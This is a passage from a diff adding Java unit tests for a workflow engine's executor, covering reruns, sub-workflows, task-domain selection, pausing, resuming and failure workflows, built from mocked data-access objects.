+ task_1_1.setReferenceTaskName("task1_ref1"); + + TaskModel task_2_1 = new TaskModel(); + task_2_1.setTaskId(UUID.randomUUID().toString()); + task_2_1.setSeq(22); + task_2_1.setRetryCount(1); + task_2_1.setStatus(TaskModel.Status.CANCELED); + task_2_1.setTaskType(TaskType.SIMPLE.toString()); + task_2_1.setTaskDefName("task2"); + task_2_1.setWorkflowTask(new WorkflowTask()); + task_2_1.setReferenceTaskName("task2_ref1"); + + workflow.getTasks().addAll(Arrays.asList(task_1_1, task_2_1)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(new WorkflowDef())); + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflow.getWorkflowId()); + rerunWorkflowRequest.setReRunFromTaskId(task_1_1.getTaskId()); + workflowExecutor.rerun(rerunWorkflowRequest); + + // when: + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + assertEquals(WorkflowModel.Status.FAILED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertNull(workflow.getReasonForIncompletion()); + assertEquals(new HashSet<>(), workflow.getFailedReferenceTaskNames()); + assertEquals(new HashSet<>(), workflow.getFailedTaskNames()); + } + + @Test + public void testRerunWorkflowWithSyncSystemTaskId() { + IDGenerator idGenerator = new IDGenerator(); + // setup + String workflowId = idGenerator.generate(); + + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.SIMPLE.name()); + task1.setTaskDefName("task1"); + task1.setReferenceTaskName("task1_ref"); + task1.setWorkflowInstanceId(workflowId); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setWorkflowTask(new WorkflowTask()); + task1.setOutputData(new HashMap<>()); + + TaskModel task2 = new TaskModel(); + task2.setTaskType(TaskType.JSON_JQ_TRANSFORM.name()); + task2.setReferenceTaskName("task2_ref"); + task2.setWorkflowInstanceId(workflowId); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setTaskId("system-task-id"); + task2.setStatus(TaskModel.Status.FAILED); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("workflow"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setReasonForIncompletion("task2 failed"); + workflow.setFailedReferenceTaskNames( + new HashSet<>() { + { + add("task2_ref"); + } + }); + workflow.setFailedTaskNames( + new HashSet<>() { + { + add("task2"); + } + }); + workflow.getTasks().addAll(Arrays.asList(task1, task2)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflow.getWorkflowId()); + rerunWorkflowRequest.setReRunFromTaskId(task2.getTaskId()); + workflowExecutor.rerun(rerunWorkflowRequest); + + // then: + assertEquals(TaskModel.Status.COMPLETED, task2.getStatus()); + assertEquals(WorkflowModel.Status.FAILED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertNull(workflow.getReasonForIncompletion()); + assertEquals(new HashSet<>(), workflow.getFailedReferenceTaskNames()); + assertEquals(new HashSet<>(), workflow.getFailedTaskNames()); + } + + @Test + public void testRerunSubWorkflowWithTaskId() { + IDGenerator idGenerator = new IDGenerator(); + + // setup + String parentWorkflowId = idGenerator.generate(); + String subWorkflowId = idGenerator.generate(); + + // sub workflow setup + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.SIMPLE.name()); + task1.setTaskDefName("task1"); + task1.setReferenceTaskName("task1_ref"); + task1.setWorkflowInstanceId(subWorkflowId); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setWorkflowTask(new WorkflowTask()); + task1.setOutputData(new HashMap<>()); + + TaskModel task2 = new TaskModel(); + task2.setTaskType(TaskType.SIMPLE.name()); + task2.setTaskDefName("task2"); + task2.setReferenceTaskName("task2_ref"); + task2.setWorkflowInstanceId(subWorkflowId); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setTaskId(idGenerator.generate()); + task2.setStatus(TaskModel.Status.COMPLETED); + task2.setWorkflowTask(new WorkflowTask()); + task2.setOutputData(new HashMap<>()); + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setParentWorkflowId(parentWorkflowId); + subWorkflow.setWorkflowId(subWorkflowId); + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName("subworkflow"); + subworkflowDef.setVersion(1); + subWorkflow.setWorkflowDefinition(subworkflowDef); + subWorkflow.setOwnerApp("junit_testRerunWorkflowId"); + subWorkflow.setStatus(WorkflowModel.Status.COMPLETED); + subWorkflow.getTasks().addAll(Arrays.asList(task1, task2)); + + // parent workflow setup + TaskModel task = new TaskModel(); + task.setWorkflowInstanceId(parentWorkflowId); + task.setScheduledTime(System.currentTimeMillis()); + task.setTaskId(idGenerator.generate()); + task.setStatus(TaskModel.Status.COMPLETED); + task.setOutputData(new HashMap<>()); + task.setSubWorkflowId(subWorkflowId); + task.setTaskType(TaskType.SUB_WORKFLOW.name()); + task.setWorkflowTask(new WorkflowTask()); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(parentWorkflowId); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("parentworkflow"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setOwnerApp("junit_testRerunWorkflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + workflow.getTasks().addAll(Arrays.asList(task)); + // end of setup + + // when: + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true)) + .thenReturn(subWorkflow); + when(executionDAOFacade.getTaskModel(subWorkflow.getParentWorkflowTaskId())) + .thenReturn(task); + when(executionDAOFacade.getWorkflowModel(subWorkflow.getParentWorkflowId(), false)) + .thenReturn(workflow); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(subWorkflow.getWorkflowId()); + rerunWorkflowRequest.setReRunFromTaskId(task2.getTaskId()); + workflowExecutor.rerun(rerunWorkflowRequest); + + // then: + assertEquals(TaskModel.Status.SCHEDULED, task2.getStatus()); + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + assertEquals(WorkflowModel.Status.COMPLETED, subWorkflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, subWorkflow.getStatus()); + assertEquals(WorkflowModel.Status.COMPLETED, workflow.getPreviousStatus()); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + } + + @Test + public void testGetActiveDomain() throws Exception { + String taskType = "test-task"; + String[] domains = new String[] {"domain1", "domain2"}; + + PollData pollData1 = + new PollData( + "queue1", domains[0], "worker1", System.currentTimeMillis() - 99 * 1000); + when(executionDAOFacade.getTaskPollDataByDomain(taskType, domains[0])) + .thenReturn(pollData1); + String activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertEquals(domains[0], activeDomain); + Thread.sleep(2000L); + + PollData pollData2 = + new PollData( + "queue2", domains[1], "worker2", System.currentTimeMillis() - 99 * 1000); + when(executionDAOFacade.getTaskPollDataByDomain(taskType, domains[1])) + .thenReturn(pollData2); + activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertEquals(domains[1], activeDomain); + + Thread.sleep(2000L); + activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertEquals(domains[1], activeDomain); + + domains = new String[] {""}; + when(executionDAOFacade.getTaskPollDataByDomain(any(), any())).thenReturn(new PollData()); + activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertNotNull(activeDomain); + assertEquals("", activeDomain); + + domains = new String[] {}; + activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertNull(activeDomain); + + activeDomain = workflowExecutor.getActiveDomain(taskType, null); + assertNull(activeDomain); + + domains = new String[] {"test-domain"}; + when(executionDAOFacade.getTaskPollDataByDomain(anyString(), anyString())).thenReturn(null); + activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertNotNull(activeDomain); + assertEquals("test-domain", activeDomain); + } + + @Test + public void testInactiveDomains() { + String taskType = "test-task"; + String[] domains = new String[] {"domain1", "domain2"}; + + PollData pollData1 = + new PollData( + "queue1", domains[0], "worker1", System.currentTimeMillis() - 99 * 10000); + when(executionDAOFacade.getTaskPollDataByDomain(taskType, domains[0])) + .thenReturn(pollData1); + when(executionDAOFacade.getTaskPollDataByDomain(taskType, domains[1])).thenReturn(null); + String activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertEquals("domain2", activeDomain); + } + + @Test + public void testDefaultDomain() { + String taskType = "test-task"; + String[] domains = new String[] {"domain1", "domain2", "NO_DOMAIN"}; + + PollData pollData1 = + new PollData( + "queue1", domains[0], "worker1", System.currentTimeMillis() - 99 * 10000); + when(executionDAOFacade.getTaskPollDataByDomain(taskType, domains[0])) + .thenReturn(pollData1); + when(executionDAOFacade.getTaskPollDataByDomain(taskType, domains[1])).thenReturn(null); + String activeDomain = workflowExecutor.getActiveDomain(taskType, domains); + assertNull(activeDomain); + } + + @Test + public void testTaskToDomain() { + WorkflowModel workflow = generateSampleWorkflow(); + List tasks = generateSampleTasks(3); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("*", "mydomain"); + workflow.setTaskToDomain(taskToDomain); + + PollData pollData1 = + new PollData( + "queue1", "mydomain", "worker1", System.currentTimeMillis() - 99 * 100); + when(executionDAOFacade.getTaskPollDataByDomain(anyString(), anyString())) + .thenReturn(pollData1); + workflowExecutor.setTaskDomains(tasks, workflow); + + assertNotNull(tasks); + tasks.forEach(task -> assertEquals("mydomain", task.getDomain())); + } + + @Test + public void testTaskToDomainsPerTask() { + WorkflowModel workflow = generateSampleWorkflow(); + List tasks = generateSampleTasks(2); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("*", "mydomain, NO_DOMAIN"); + workflow.setTaskToDomain(taskToDomain); + + PollData pollData1 = + new PollData( + "queue1", "mydomain", "worker1", System.currentTimeMillis() - 99 * 100); + when(executionDAOFacade.getTaskPollDataByDomain(eq("task1"), anyString())) + .thenReturn(pollData1); + when(executionDAOFacade.getTaskPollDataByDomain(eq("task2"), anyString())).thenReturn(null); + workflowExecutor.setTaskDomains(tasks, workflow); + + assertEquals("mydomain", tasks.get(0).getDomain()); + assertNull(tasks.get(1).getDomain()); + } + + @Test + public void testTaskToDomainOverrides() { + WorkflowModel workflow = generateSampleWorkflow(); + List tasks = generateSampleTasks(4); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("*", "mydomain"); + taskToDomain.put("task2", "someInactiveDomain, NO_DOMAIN"); + taskToDomain.put("task3", "someActiveDomain, NO_DOMAIN"); + taskToDomain.put("task4", "someInactiveDomain, someInactiveDomain2"); + workflow.setTaskToDomain(taskToDomain); + + PollData pollData1 = + new PollData( + "queue1", "mydomain", "worker1", System.currentTimeMillis() - 99 * 100); + PollData pollData2 = + new PollData( + "queue2", + "someActiveDomain", + "worker2", + System.currentTimeMillis() - 99 * 100); + when(executionDAOFacade.getTaskPollDataByDomain(anyString(), eq("mydomain"))) + .thenReturn(pollData1); + when(executionDAOFacade.getTaskPollDataByDomain(anyString(), eq("someInactiveDomain"))) + .thenReturn(null); + when(executionDAOFacade.getTaskPollDataByDomain(anyString(), eq("someActiveDomain"))) + .thenReturn(pollData2); + when(executionDAOFacade.getTaskPollDataByDomain(anyString(), eq("someInactiveDomain"))) + .thenReturn(null); + workflowExecutor.setTaskDomains(tasks, workflow); + + assertEquals("mydomain", tasks.get(0).getDomain()); + assertNull(tasks.get(1).getDomain()); + assertEquals("someActiveDomain", tasks.get(2).getDomain()); + assertEquals("someInactiveDomain2", tasks.get(3).getDomain()); + } + + @Test + public void testDedupAndAddTasks() { + WorkflowModel workflow = new WorkflowModel(); + + TaskModel task1 = new TaskModel(); + task1.setReferenceTaskName("task1"); + task1.setRetryCount(1); + + TaskModel task2 = new TaskModel(); + task2.setReferenceTaskName("task2"); + task2.setRetryCount(2); + + List tasks = new ArrayList<>(Arrays.asList(task1, task2)); + + List taskList = workflowExecutor.dedupAndAddTasks(workflow, tasks); + assertEquals(2, taskList.size()); + assertEquals(tasks, taskList); + assertEquals(workflow.getTasks(), taskList); + + // Adding the same tasks again + taskList = workflowExecutor.dedupAndAddTasks(workflow, tasks); + assertEquals(0, taskList.size()); + assertEquals(workflow.getTasks(), tasks); + + // Adding 2 new tasks + TaskModel newTask = new TaskModel(); + newTask.setReferenceTaskName("newTask"); + newTask.setRetryCount(0); + + taskList = workflowExecutor.dedupAndAddTasks(workflow, Collections.singletonList(newTask)); + assertEquals(1, taskList.size()); + assertEquals(newTask, taskList.get(0)); + assertEquals(3, workflow.getTasks().size()); + } + + @Test(expected = ConflictException.class) + public void testTerminateCompletedWorkflow() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("testTerminateTerminalWorkflow"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + when(executionDAOFacade.getWorkflowModel(anyString(), anyBoolean())).thenReturn(workflow); + + workflowExecutor.terminateWorkflow( + workflow.getWorkflowId(), "test terminating terminal workflow"); + } + + @Test + public void testResetCallbacksForWorkflowTasks() { + String workflowId = "test-workflow-id"; + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + TaskModel completedTask = new TaskModel(); + completedTask.setTaskType(TaskType.SIMPLE.name()); + completedTask.setReferenceTaskName("completedTask"); + completedTask.setWorkflowInstanceId(workflowId); + completedTask.setScheduledTime(System.currentTimeMillis()); + completedTask.setCallbackAfterSeconds(300); + completedTask.setTaskId("simple-task-id"); + completedTask.setStatus(TaskModel.Status.COMPLETED); + + TaskModel systemTask = new TaskModel(); + systemTask.setTaskType(TaskType.WAIT.name()); + systemTask.setReferenceTaskName("waitTask"); + systemTask.setWorkflowInstanceId(workflowId); + systemTask.setScheduledTime(System.currentTimeMillis()); + systemTask.setTaskId("system-task-id"); + systemTask.setStatus(TaskModel.Status.SCHEDULED); + + TaskModel simpleTask = new TaskModel(); + simpleTask.setTaskType(TaskType.SIMPLE.name()); + simpleTask.setReferenceTaskName("simpleTask"); + simpleTask.setWorkflowInstanceId(workflowId); + simpleTask.setScheduledTime(System.currentTimeMillis()); + simpleTask.setCallbackAfterSeconds(300); + simpleTask.setTaskId("simple-task-id"); + simpleTask.setStatus(TaskModel.Status.SCHEDULED); + + TaskModel noCallbackTask = new TaskModel(); + noCallbackTask.setTaskType(TaskType.SIMPLE.name()); + noCallbackTask.setReferenceTaskName("noCallbackTask"); + noCallbackTask.setWorkflowInstanceId(workflowId); + noCallbackTask.setScheduledTime(System.currentTimeMillis()); + noCallbackTask.setCallbackAfterSeconds(0); + noCallbackTask.setTaskId("no-callback-task-id"); + noCallbackTask.setStatus(TaskModel.Status.SCHEDULED); + + workflow.getTasks() + .addAll(Arrays.asList(completedTask, systemTask, simpleTask, noCallbackTask)); + when(executionDAOFacade.getWorkflowModel(workflowId, true)).thenReturn(workflow); + + workflowExecutor.resetCallbacksForWorkflow(workflowId); + verify(queueDAO, times(1)).resetOffsetTime(anyString(), anyString()); + } + + @Test + public void testUpdateParentWorkflowTask() { + String parentWorkflowTaskId = "parent_workflow_task_id"; + String workflowId = "workflow_id"; + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setWorkflowId(workflowId); + subWorkflow.setParentWorkflowTaskId(parentWorkflowTaskId); + subWorkflow.setStatus(WorkflowModel.Status.COMPLETED); + + TaskModel subWorkflowTask = new TaskModel(); + subWorkflowTask.setSubWorkflowId(workflowId); + subWorkflowTask.setStatus(TaskModel.Status.IN_PROGRESS); + subWorkflowTask.setExternalOutputPayloadStoragePath(null); + + when(executionDAOFacade.getTaskModel(parentWorkflowTaskId)).thenReturn(subWorkflowTask); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(subWorkflow); + + workflowExecutor.updateParentWorkflowTask(subWorkflow); + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskModel.class); + verify(executionDAOFacade, times(1)).updateTask(argumentCaptor.capture()); + assertEquals(TaskModel.Status.COMPLETED, argumentCaptor.getAllValues().get(0).getStatus()); + assertEquals(workflowId, argumentCaptor.getAllValues().get(0).getSubWorkflowId()); + } + + @Test + public void testScheduleNextIteration() { + WorkflowModel workflow = generateSampleWorkflow(); + workflow.setTaskToDomain( + new HashMap<>() { + { + put("TEST", "domain1"); + } + }); + TaskModel loopTask = mock(TaskModel.class); + WorkflowTask loopWfTask = mock(WorkflowTask.class); + when(loopTask.getWorkflowTask()).thenReturn(loopWfTask); + List loopOver = + new ArrayList<>() { + { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setType(TaskType.TASK_TYPE_SIMPLE); + workflowTask.setName("TEST"); + workflowTask.setTaskDefinition(new TaskDef()); + add(workflowTask); + } + }; + when(loopWfTask.getLoopOver()).thenReturn(loopOver); + + workflowExecutor.scheduleNextIteration(loopTask, workflow); + verify(executionDAOFacade).getTaskPollDataByDomain("TEST", "domain1"); + } + + @Test + public void testCancelNonTerminalTasks() { + WorkflowDef def = new WorkflowDef(); + def.setWorkflowStatusListenerEnabled(true); + + WorkflowModel workflow = generateSampleWorkflow(); + workflow.setWorkflowDefinition(def); + + TaskModel subWorkflowTask = new TaskModel(); + subWorkflowTask.setTaskId(UUID.randomUUID().toString()); + subWorkflowTask.setTaskType(TaskType.SUB_WORKFLOW.name()); + subWorkflowTask.setSubWorkflowId("child-workflow-id"); + subWorkflowTask.setStatus(TaskModel.Status.IN_PROGRESS); + WorkflowModel childWorkflow = new WorkflowModel(); + childWorkflow.setWorkflowDefinition(new WorkflowDef()); + when(executionDAOFacade.getWorkflowModel("child-workflow-id", true)) + .thenReturn(childWorkflow); + + TaskModel lambdaTask = new TaskModel(); + lambdaTask.setTaskId(UUID.randomUUID().toString()); + lambdaTask.setTaskType(TaskType.LAMBDA.name()); + lambdaTask.setStatus(TaskModel.Status.SCHEDULED); + + TaskModel simpleTask = new TaskModel(); + simpleTask.setTaskId(UUID.randomUUID().toString()); + simpleTask.setTaskType(TaskType.SIMPLE.name()); + simpleTask.setStatus(TaskModel.Status.COMPLETED); + + workflow.getTasks().addAll(Arrays.asList(subWorkflowTask, lambdaTask, simpleTask)); + + List erroredTasks = workflowExecutor.cancelNonTerminalTasks(workflow); + assertTrue(erroredTasks.isEmpty()); + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskModel.class); + verify(executionDAOFacade, times(2)).updateTask(argumentCaptor.capture()); + assertEquals(2, argumentCaptor.getAllValues().size()); + assertEquals( + TaskType.SUB_WORKFLOW.name(), argumentCaptor.getAllValues().get(0).getTaskType()); + assertEquals(TaskModel.Status.CANCELED, argumentCaptor.getAllValues().get(0).getStatus()); + assertEquals(TaskType.LAMBDA.name(), argumentCaptor.getAllValues().get(1).getTaskType()); + assertEquals(TaskModel.Status.CANCELED, argumentCaptor.getAllValues().get(1).getStatus()); + verify(workflowStatusListener, times(2)) + .onWorkflowFinalizedIfEnabled(any(WorkflowModel.class)); + } + + @Test + public void testPauseWorkflow() { + when(executionLockService.acquireLock(anyString(), anyLong())).thenReturn(true); + doNothing().when(executionLockService).releaseLock(anyString()); + + String workflowId = "testPauseWorkflowId"; + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + + // if workflow is in terminal state + workflow.setStatus(WorkflowModel.Status.COMPLETED); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(workflow); + try { + workflowExecutor.pauseWorkflow(workflowId); + fail("Expected " + ConflictException.class); + } catch (ConflictException e) { + verify(executionDAOFacade, never()).updateWorkflow(any(WorkflowModel.class)); + verify(queueDAO, never()).remove(anyString(), anyString()); + } + + // if workflow is already PAUSED + workflow.setStatus(WorkflowModel.Status.PAUSED); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(workflow); + workflowExecutor.pauseWorkflow(workflowId); + assertEquals(WorkflowModel.Status.PAUSED, workflow.getStatus()); + verify(executionDAOFacade, never()).updateWorkflow(any(WorkflowModel.class)); + verify(queueDAO, never()).remove(anyString(), anyString()); + + // if workflow is RUNNING + workflow.setStatus(WorkflowModel.Status.RUNNING); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(workflow); + workflowExecutor.pauseWorkflow(workflowId); + assertEquals(WorkflowModel.Status.PAUSED, workflow.getStatus()); + verify(executionDAOFacade, times(1)).updateWorkflow(any(WorkflowModel.class)); + verify(queueDAO, times(1)).remove(anyString(), anyString()); + } + + @Test + public void testScheduleTaskQueuesAsyncSubWorkflowWithoutInlineStart() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("parent-workflow"); + workflow.setWorkflowDefinition(new WorkflowDef()); + + TaskModel subWorkflowTask = new TaskModel(); + subWorkflowTask.setTaskId("sub-workflow-task"); + subWorkflowTask.setTaskType(TaskType.SUB_WORKFLOW.name()); + subWorkflowTask.setTaskDefName(TaskType.SUB_WORKFLOW.name()); + subWorkflowTask.setReferenceTaskName("sub_workflow_ref"); + subWorkflowTask.setWorkflowInstanceId(workflow.getWorkflowId()); + subWorkflowTask.setStatus(TaskModel.Status.SCHEDULED); + subWorkflowTask.setInputData(new HashMap<>()); + + boolean stateChanged = + workflowExecutor.scheduleTask(workflow, Collections.singletonList(subWorkflowTask)); + + assertFalse(stateChanged); + verify(executionDAOFacade).createTasks(Collections.singletonList(subWorkflowTask)); + verify(queueDAO) + .push( + eq(TaskType.SUB_WORKFLOW.name()), + eq(subWorkflowTask.getTaskId()), + eq(subWorkflowTask.getWorkflowPriority()), + eq(0L)); + verify(executionDAOFacade, never()).updateTask(subWorkflowTask); + } + + @Test + public void testResumeWorkflow() { + String workflowId = "testResumeWorkflowId"; + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + + // if workflow is not in PAUSED state + workflow.setStatus(WorkflowModel.Status.COMPLETED); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(workflow); + try { + workflowExecutor.resumeWorkflow(workflowId); + } catch (Exception e) { + assertTrue(e instanceof IllegalStateException); + verify(executionDAOFacade, never()).updateWorkflow(any(WorkflowModel.class)); + verify(queueDAO, never()).push(anyString(), anyString(), anyInt(), anyLong()); + } + + // if workflow is in PAUSED state + workflow.setStatus(WorkflowModel.Status.PAUSED); + when(executionDAOFacade.getWorkflowModel(workflowId, false)).thenReturn(workflow); + workflowExecutor.resumeWorkflow(workflowId); + assertEquals(WorkflowModel.Status.RUNNING, workflow.getStatus()); + assertTrue(workflow.getLastRetriedTime() > 0); + verify(executionDAOFacade, times(1)).updateWorkflow(any(WorkflowModel.class)); + verify(queueDAO, times(1)).push(anyString(), anyString(), anyInt(), anyLong()); + } + + @Test + @SuppressWarnings("unchecked") + public void testTerminateWorkflowWithFailureWorkflow() { + // Given a workflow with a failure compensation definition + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("workflow"); + workflowDef.setFailureWorkflow("failure_workflow"); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("1"); + workflow.setCorrelationId("testid"); + workflow.setWorkflowDefinition(new WorkflowDef()); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOwnerApp("junit_test"); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setWorkflowDefinition(workflowDef); + + TaskModel successTask = new TaskModel(); + successTask.setTaskId("taskid1"); + successTask.setReferenceTaskName("success"); + successTask.setStatus(TaskModel.Status.COMPLETED); + + TaskModel failedTask = new TaskModel(); + failedTask.setTaskId("taskid2"); + failedTask.setReferenceTaskName("failed"); + failedTask.setStatus(TaskModel.Status.FAILED); + workflow.getTasks().addAll(Arrays.asList(successTask, failedTask)); + + WorkflowDef failureWorkflowDef = new WorkflowDef(); + failureWorkflowDef.setName("failure_workflow"); + + when(metadataDAO.getLatestWorkflowDef(failureWorkflowDef.getName())) + .thenReturn(Optional.of(failureWorkflowDef)); + + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionLockService.acquireLock(anyString())).thenReturn(true); + + // When applying "decide" to terminate workflow + workflowExecutor.decide(workflow.getWorkflowId()); + + // Then should assert workflow properties + assertEquals(WorkflowModel.Status.FAILED, workflow.getStatus()); + assertTrue(workflow.getOutput().containsKey("conductor.failure_workflow")); + assertNotNull(workflow.getFailedTaskId()); + assertTrue(!workflow.getFailedReferenceTaskNames().isEmpty()); + + // And verify that the failure workflow definition was fetched without version + verify(metadataDAO).getLatestWorkflowDef("failure_workflow"); + assertNull(workflow.getWorkflowDefinition().getFailureWorkflowVersion()); + } + + @Test + @SuppressWarnings("unchecked") + public void testTerminateWorkflowWithCustomFailureWorkflowVersion() { + // Given a workflow with a failure compensation definition + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("workflow"); + workflowDef.setFailureWorkflow("failure_workflow_with_custom_version"); + workflowDef.setFailureWorkflowVersion(10); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("1"); + workflow.setCorrelationId("testid"); + workflow.setWorkflowDefinition(new WorkflowDef()); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOwnerApp("junit_test"); + workflow.setEndTime(100L); + workflow.setOutput(Collections.EMPTY_MAP); + workflow.setWorkflowDefinition(workflowDef); + + TaskModel successTask = new TaskModel(); + successTask.setTaskId("taskid1"); + successTask.setReferenceTaskName("success"); + successTask.setStatus(TaskModel.Status.COMPLETED); + + TaskModel failedTask = new TaskModel(); + failedTask.setTaskId("taskid2"); + failedTask.setReferenceTaskName("failed"); + failedTask.setStatus(TaskModel.Status.FAILED); + workflow.getTasks().addAll(Arrays.asList(successTask, failedTask)); + + WorkflowDef failureWorkflowDef = new WorkflowDef(); + failureWorkflowDef.setName("failure_workflow_with_custom_version"); + failureWorkflowDef.setVersion(10); + + when(metadataDAO.getWorkflowDef( + failureWorkflowDef.getName(), failureWorkflowDef.getVersion())) + .thenReturn(Optional.of(failureWorkflowDef)); + + when(executionDAOFacade.getWorkflowModel(workflow.getWorkflowId(), true)) + .thenReturn(workflow); + when(executionLockService.acquireLock(anyString())).thenReturn(true); + + // When applying "decide" to terminate workflow + workflowExecutor.decide(workflow.getWorkflowId()); + + // Then should assert workflow properties + assertEquals(WorkflowModel.Status.FAILED, workflow.getStatus()); + assertTrue(workflow.getOutput().containsKey("conductor.failure_workflow")); + assertNotNull(workflow.getFailedTaskId()); + assertTrue(!workflow.getFailedReferenceTaskNames().isEmpty()); + + // And verify that the failure workflow definition was fetched with a custom version + verify(metadataDAO).getWorkflowDef("failure_workflow_with_custom_version", 10); + + assertEquals( + workflowDef.getFailureWorkflowVersion(), + workflow.getWorkflowDefinition().getFailureWorkflowVersion()); + } + + @Test + public void testRerunOptionalSubWorkflow() { + IDGenerator idGenerator = new IDGenerator(); + // setup + String parentWorkflowId = idGenerator.generate(); + String subWorkflowId = idGenerator.generate(); + + // sub workflow setup + TaskModel task1 = new TaskModel(); + task1.setTaskType(TaskType.SIMPLE.name()); + task1.setTaskDefName("task1"); + task1.setReferenceTaskName("task1_ref"); + task1.setWorkflowInstanceId(subWorkflowId); + task1.setScheduledTime(System.currentTimeMillis()); + task1.setTaskId(idGenerator.generate()); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setWorkflowTask(new WorkflowTask()); + task1.setOutputData(new HashMap<>()); + + TaskModel task2 = new TaskModel(); + task2.setTaskType(TaskType.SIMPLE.name()); + task2.setTaskDefName("task2"); + task2.setReferenceTaskName("task2_ref"); + task2.setWorkflowInstanceId(subWorkflowId); + task2.setScheduledTime(System.currentTimeMillis()); + task2.setTaskId(idGenerator.generate()); + task2.setStatus(TaskModel.Status.FAILED); + task2.setWorkflowTask(new WorkflowTask()); + task2.setOutputData(new HashMap<>()); + + WorkflowModel subWorkflow = new WorkflowModel(); + subWorkflow.setParentWorkflowId(parentWorkflowId); + subWorkflow.setWorkflowId(subWorkflowId); + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName("subworkflow"); + subworkflowDef.setVersion(1); + subWorkflow.setWorkflowDefinition(subworkflowDef); + subWorkflow.setOwnerApp("junit_testRerunWorkflowId"); + subWorkflow.setStatus(WorkflowModel.Status.FAILED); + subWorkflow.getTasks().addAll(Arrays.asList(task1, task2)); + + // parent workflow setup + TaskModel task = new TaskModel(); + task.setWorkflowInstanceId(parentWorkflowId); + task.setScheduledTime(System.currentTimeMillis()); + task.setTaskId(idGenerator.generate()); + task.setStatus(TaskModel.Status.COMPLETED_WITH_ERRORS); + task.setOutputData(new HashMap<>()); + task.setSubWorkflowId(subWorkflowId); + task.setTaskType(TaskType.SUB_WORKFLOW.name()); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setOptional(true); + task.setWorkflowTask(workflowTask); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(parentWorkflowId); + WorkflowDef workflowDef = new 